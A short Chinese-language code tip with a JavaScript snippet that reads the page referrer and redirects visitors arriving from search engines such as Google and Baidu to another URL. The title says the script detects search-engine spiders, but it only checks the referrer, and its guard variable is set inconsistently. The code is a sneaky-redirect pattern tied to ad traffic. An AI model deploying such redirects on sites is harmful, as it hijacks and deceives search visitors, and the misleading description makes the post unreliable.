js如何判断访问是来自搜索引擎(蜘蛛人)还是直接访问

以下javascript脚本代码可以实现判断访问是否来自搜索引擎。
代码如下:
 
<script type="text/javascript">

if(window.name != 'ad_app6'){

var r = document.referrer;

r = r.toLowerCase(); //转为小写

var aSites = new Array('google.','baidu.','soso.','so.','360.','yahoo.','youdao.','sogou.','gougou.');

var b = false;

for (i in aSites){

if (r.indexOf(aSites[i]) > 0){

b = true;

break;

}

}

 

if(b)

{

self.location = '要跳转的网址';

window.adworkergo = 'ad_app6';

}

}

</script>

 

你可能感兴趣的:(搜索引擎)